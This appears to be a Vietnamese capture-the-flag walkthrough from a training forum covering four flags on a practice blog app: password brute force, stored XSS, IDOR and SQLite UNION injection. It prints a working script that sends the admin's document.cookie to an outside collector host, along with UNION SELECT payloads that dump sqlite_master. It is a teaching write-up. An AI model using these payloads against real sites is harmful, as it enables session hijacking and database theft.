K01FE Sanity Check

[A blue background with white text

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/7be8e31083e11d6ba6f77fcaa74374dd73f9db97.png" \o ")

K01FE Flag 1

[[A blue background with white text

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/9bdd5ef80146b93961fd8d63c91c385694bc903a.png)](https://forum.cookiearena.org/uploads/default/original/1X/9bdd5ef80146b93961fd8d63c91c385694bc903a.png" \o ")

Giao diện trang Web

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/0a87ad3fbbf8342787a3ad042a0b281b73a331ab.jpeg)](https://forum.cookiearena.org/uploads/default/original/1X/0a87ad3fbbf8342787a3ad042a0b281b73a331ab.jpeg" \o ")

Web này thì có 3 chức năng chính là xem blogs, đăng kí và đăng nhập. Đăng ký thử một cái tài khoản để xem nó hoạt động ra sao.

[[A screenshot of a phone

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/d3cade01e0524aecf82c4e656df0c442ee3a741f.jpeg)](https://forum.cookiearena.org/uploads/default/original/1X/d3cade01e0524aecf82c4e656df0c442ee3a741f.jpeg" \o ")

Đây là toàn bộ chức năng của một người dùng bình thường.

* Blogs ⇒ Xem các bài viết
* Feedback ⇒ Gửi message đến cho admin và admin sẽ đọc nó mỗi 3 phút
* Update Profile ⇒ Thay đổi thông tin các nhân
* Change Password ⇒ Đổi pass
* Logout

Vậy giờ mình bắt đầu đi xem từng chức năng của nó.

Với chức năng đầu tiên là xem blogs thì nó sẽ có nội dung kèm với các thông tin về bài viết như tác giả của bài viết đó, public hay private

[[A person holding a phone

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/b1fe9d6eada8c09301e91cdd431447fdfebb22d1.jpeg)](https://forum.cookiearena.org/uploads/default/original/1X/b1fe9d6eada8c09301e91cdd431447fdfebb22d1.jpeg" \o ")

Nhưng cái mình để ý ở đây là có email của Harry

Nhìn ngược lại về quá khứ một chút thì khi mình đăng nhập thì web sẽ yêu cầu là phải nhập email và password

[[A screenshot of a cell phone

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/7efb9adec8fb84edd079b72b56149fa5669ed686.png)](https://forum.cookiearena.org/uploads/default/original/1X/7efb9adec8fb84edd079b72b56149fa5669ed686.png" \o ")

Giờ mình đã có email của Harry. Mình quyết định sẽ brute force

Theo như mình đoán thì password nó sẽ phải dễ đoán như là: admin, 123, abcxyz,… nói chung là nó rất dễ để đoán được. Giờ mình sẽ dùng BurpSuite và một list password dễ dùng để thử xem có được không

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/c3fa729899527a2f077b05c7ed7ecc5e3a3ca980.jpeg)](https://forum.cookiearena.org/uploads/default/original/1X/c3fa729899527a2f077b05c7ed7ecc5e3a3ca980.jpeg" \o ")

Và mình đã thành công.

K01FE Flag 2

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/ca75e771c4968b0cf9a8cbcc37331f83c0b6c591.png)](https://forum.cookiearena.org/uploads/default/original/1X/ca75e771c4968b0cf9a8cbcc37331f83c0b6c591.png" \o ")

Với lab2 này thì mình cần đăng nhập vào Admin. Theo mình trong loại bài như này thì sẽ có 2 cách để vào được tài khoản của admin:

* Thứ nhất là tìm được email và password của admin, có thể thử như cách của lab1
* Thứ hai là lấy được cookie của admin

Với cách đầu tiên mình đã thử và không thành công, vậy thì sẽ làm đến cách thứ hai.

Xâu chuỗi lại các chức năng thì mình có thấy chức năng feedback đó có khả năng nhất vì admin sẽ đọc nó mỗi 3 phút. Ok xác định được feedback thì giờ sẽ tìm xem nó bị lỗi gì.

Để đánh cắp cookie thì cái đầu tiên mình nghĩ đó là XSS vào thử luôn thôi

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/788f713d37674b56931036478449ee54aea4e08d.png)](https://forum.cookiearena.org/uploads/default/original/1X/788f713d37674b56931036478449ee54aea4e08d.png)

Chức năng feedback này chỉ có 1 chỗ mình inject vào đó là message này, vậy thì thử cho nó một payload đơn giản của XSS xem sao

[[A screenshot of a computer code

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/9bcc49865394ac4e9efff0603c0c1dd0b6ca1446.png)](https://forum.cookiearena.org/uploads/default/original/1X/9bcc49865394ac4e9efff0603c0c1dd0b6ca1446.png" \o ")

Lúc này thì mình chả thấy gì xuất hiện cả NHƯNG lại có một cái khá là hay ho ở đây

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/63a83c472e413f65939fef2a3c912ca9ee3949bf.png)](https://forum.cookiearena.org/uploads/default/original/1X/63a83c472e413f65939fef2a3c912ca9ee3949bf.png" \o ")

Mình thử vào feedback đó và đã bị lỗi XSS

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/622ce2e662462dac5cd03e525b5074a1f6e885a9.jpeg)](https://forum.cookiearena.org/uploads/default/original/1X/622ce2e662462dac5cd03e525b5074a1f6e885a9.jpeg" \o ")

Sau đó mình cũng thử tag script xem có bị chặn không và tất nhiên nó cũng không bị filter. Giờ mình sẽ phải suy nghĩ xem làm sao để cho mỗi lần admin vào đọc bài này sẽ gửi cho mình cookie của admin và đây là payload đầu tiên của mình:

<script>

fetch('https://eomhvt4xjyv7x2p.m.pipedream.net',{method:'POST',body:document.cookie});

</script>

Với cái payload này thì mỗi khi admin vào đọc nó sẽ gửi đến cái host kia của mình một POST request với nội dung là document.cookie. Việc của mình là chờ đợi đến khi admin vào đọc bài feedback này của mình thôi

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/6229644919faeadee22d486450f3ea3c63f0dab9.png)](https://forum.cookiearena.org/uploads/default/original/1X/6229644919faeadee22d486450f3ea3c63f0dab9.png" \o ")

Body của request này chính là cookie của admin rồi, việc cần làm bây giờ là thay cookie đó thôi và đây là sau khi refresh lại trang

[[A white background with black text

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/4af1f4253dad45e56ceb2589d89316dd36fce370.png)](https://forum.cookiearena.org/uploads/default/original/1X/4af1f4253dad45e56ceb2589d89316dd36fce370.png" \o ")

K01FE Flag 3

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/f55bcd8269dbd640b081753ea44a371bb87eb85a.png)](https://forum.cookiearena.org/uploads/default/original/1X/f55bcd8269dbd640b081753ea44a371bb87eb85a.png" \o ")

Lại lướt lướt chức năng của web một lần nữa thì mình thấy mỗi khi đọc một bài blog thì trên URL sẽ có id của bài đó

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/5d587f1562ab1132a675c16ab0a84e17fa4ec630.png)](https://forum.cookiearena.org/uploads/default/original/1X/5d587f1562ab1132a675c16ab0a84e17fa4ec630.png" \o ")

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/f3e2418645ed0fd7a64228f7e483fbb6d3eabcbc.png)](https://forum.cookiearena.org/uploads/default/original/1X/f3e2418645ed0fd7a64228f7e483fbb6d3eabcbc.png" \o ")

Mấy số này dễ đoán quá, toàn số tuyến tính vậy thì bây giờ nếu mình thử những id bài viết đã bị ẩn đi thì như nào nhỉ.

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/21399f8ba06516f427052e0c1a58a2f41e0f5de3.png)](https://forum.cookiearena.org/uploads/default/original/1X/21399f8ba06516f427052e0c1a58a2f41e0f5de3.png" \o ")

Ồ vậy là bị chặn rồi

Nhưng có một chức năng mà mình chưa thử đó là “Create Blog”

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/86b35e725c67c37d8560b27cdfa56b5ce5b320f9.png)](https://forum.cookiearena.org/uploads/default/original/1X/86b35e725c67c37d8560b27cdfa56b5ce5b320f9.png" \o ")

Đây là một blog sau khi mình vừa post lên

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/171d22c983035d7b0c72381735f7db9cd6876725.png)](https://forum.cookiearena.org/uploads/default/original/1X/171d22c983035d7b0c72381735f7db9cd6876725.png" \o ")

Mình thử chức năng edit thì lại cũng thấy có truyền theo id luôn

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/a8a7789d2698ebc55a51263fd09abb934b305bd7.png)](https://forum.cookiearena.org/uploads/default/original/1X/a8a7789d2698ebc55a51263fd09abb934b305bd7.png" \o ")

Lại thử thay số tiếp, vì mình thấy cái bài mới của mình có id là 22 thì chắc giờ mới có tối đa là 22 bài Vậy thì mình thử cái số 21

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/c7f2f5a163c9d33592a5e0a4e78477135ddd3769.png)](https://forum.cookiearena.org/uploads/default/original/1X/c7f2f5a163c9d33592a5e0a4e78477135ddd3769.png" \o ")

K01FE Flag 4

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/d5f6c06098781c363229cceaee8d78802e910ea6.png)](https://forum.cookiearena.org/uploads/default/original/1X/d5f6c06098781c363229cceaee8d78802e910ea6.png" \o ")

Với description như này thì chắc chắn nó là SQLi rồi. Mình nhìn lại một chút ở tài khoản user thường xem có chức năng nào tương tác với DB mà có thể bị SQLi không nào:

* Login ??? ⇒ Mình đã test và chưa thấy
* Register ??? ⇒ Mình cũng đã test và không thấy

Đó là 2 chức năng trên account normal user mà mình nghĩ nó có thể bị SQLi. Vậy giờ sẽ chuyển qua account của admin

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/17f2f42cdea4bbda3b6e1c54834755937a079398.jpeg)](https://forum.cookiearena.org/uploads/default/original/1X/17f2f42cdea4bbda3b6e1c54834755937a079398.jpeg" \o ")

Có thêm chức năng là:

* Search
* Backup Database

Mình nghi chức năng search là có khả năng nhất nên test trước luôn

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/5c43ac9a9f340b4756949c785dca96da00480dbf.png)](https://forum.cookiearena.org/uploads/default/original/1X/5c43ac9a9f340b4756949c785dca96da00480dbf.png" \o ")

Mình search như này và thấy nó có kết quả như vậy thì chưa thể xác định được nó là SQL giờ mình thử thêm dấu nháy đơn, nháy đôi các thứ xem sao

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/d416807c4e04d41c64191c5d7d77b205d29834fb.png)](https://forum.cookiearena.org/uploads/default/original/1X/d416807c4e04d41c64191c5d7d77b205d29834fb.png" \o ")

Với nháy đôi thì vẫn hoạt động bình thường

Nhưng khi search với nháy đơn

[[A white background with black text

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/700cc877f39dbfc5b91f67e4bcc5abbecc5e9c4e.png)](https://forum.cookiearena.org/uploads/default/original/1X/700cc877f39dbfc5b91f67e4bcc5abbecc5e9c4e.png" \o ")

Đã xảy ra lỗi

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/8147ada0116b01354d54384b0ee6942e5da5b359.png)](https://forum.cookiearena.org/uploads/default/original/1X/8147ada0116b01354d54384b0ee6942e5da5b359.png" \o ")

Ok đến đây thì mình chắc chắn chỗ này bị SQLi rồi.

Vậy thì mình sẽ inject nó để gây nhầm lẫn cho câu query này. Đầu tiên mình sẽ phải xác định xem nó có bao nhiêu cột và dùng dbms gì.

[[A blue line on a white background

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/ca4ae7c032e9d0ff18ee3a6f4bff62e83aee80c5.png)](https://forum.cookiearena.org/uploads/default/original/1X/ca4ae7c032e9d0ff18ee3a6f4bff62e83aee80c5.png" \o ")

Khi mình order by đến cột thứ 4 thì bắt đầu lỗi vì vậy bảng này có 3 cột Thử một hồi thì mình thấy nó đang dùng SQLite

Tiếp theo là sẽ tìm các cột được hiển thị ra ngoài

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/bd3308a0ef3170dbaf6111b3a2900fce4c9cc62b.png)](https://forum.cookiearena.org/uploads/default/original/1X/bd3308a0ef3170dbaf6111b3a2900fce4c9cc62b.png" \o ")

Như vậy là cột thứ 2 sẽ là cái chỗ mình hiển thị những cái mình mong muốn

Giờ mình cần là sẽ lấy được tên các bảng để xác định xem flag ở chỗ nào

Payload:

abcab' union select 1,group\_concat(tbl\_name),3 FROM sqlite\_master WHERE type='table' and tbl\_name NOT like 'sqlite\_%'-- -

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/ce2af62d247ec7202f7e9205a51969f9d18b8213.png)](https://forum.cookiearena.org/uploads/default/original/1X/ce2af62d247ec7202f7e9205a51969f9d18b8213.png" \o ")

Tiếp theo mình sẽ xem trong bảng flag kia có những cột gì

Payload:

abc' union SELECT 1,sql,3 from sqlite\_master--

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/90f216abc2c212be181022c110ef8e48d6a38aa5.png)](https://forum.cookiearena.org/uploads/default/original/1X/90f216abc2c212be181022c110ef8e48d6a38aa5.png" \o ")

Có thông tin các cột trong các bảng ở trên rồi giờ mình chỉ cần lấy flag là xong lab này thôi

[[A screenshot of a computer

AI-generated content may be incorrect.](https://forum.cookiearena.org/uploads/default/original/1X/ebd3b38d925d98403e05dd6b9ab54bdd4fdc38e2.png)](https://forum.cookiearena.org/uploads/default/original/1X/ebd3b38d925d98403e05dd6b9ab54bdd4fdc38e2.png" \o ")

Mình xin tóm tắt lại 5 lỗ hổng cho từng challenge để anh em tiện theo dõi nha.

* K01FE Flag 1 - Authentication của ứng dụng không áp dụng các cơ chế giới hạn đăng nhập (khoá tài khoản khi đăng nhập sai, Limite Request hoặc Captcha). Khiến hacker có thể áp dụng kỹ thuật [Spraying Password Attack](https://cookiearena.org/hoc-pentester/tan-cong-password-spraying-attack/?utm_source=forum) để dò đoán mật khẩu
* K01FE Flag 2 - Sử dụng lỗ hổng XSS để đánh cắp Cookie
* K01FE Flag 3 - Lỗ hổng IDOR trong chức năng sửa bài viết nên có thể xem blog của bất kỳ ai (trong đó có cả admin)
* K01FE Flag 4 - [SQL Injection](https://cookiearena.org/hoc-pentester/sql-injection-mon-qua-cua-hacker-trong-dem-giang-sinh/?utm_source=forum) ở chức năng Search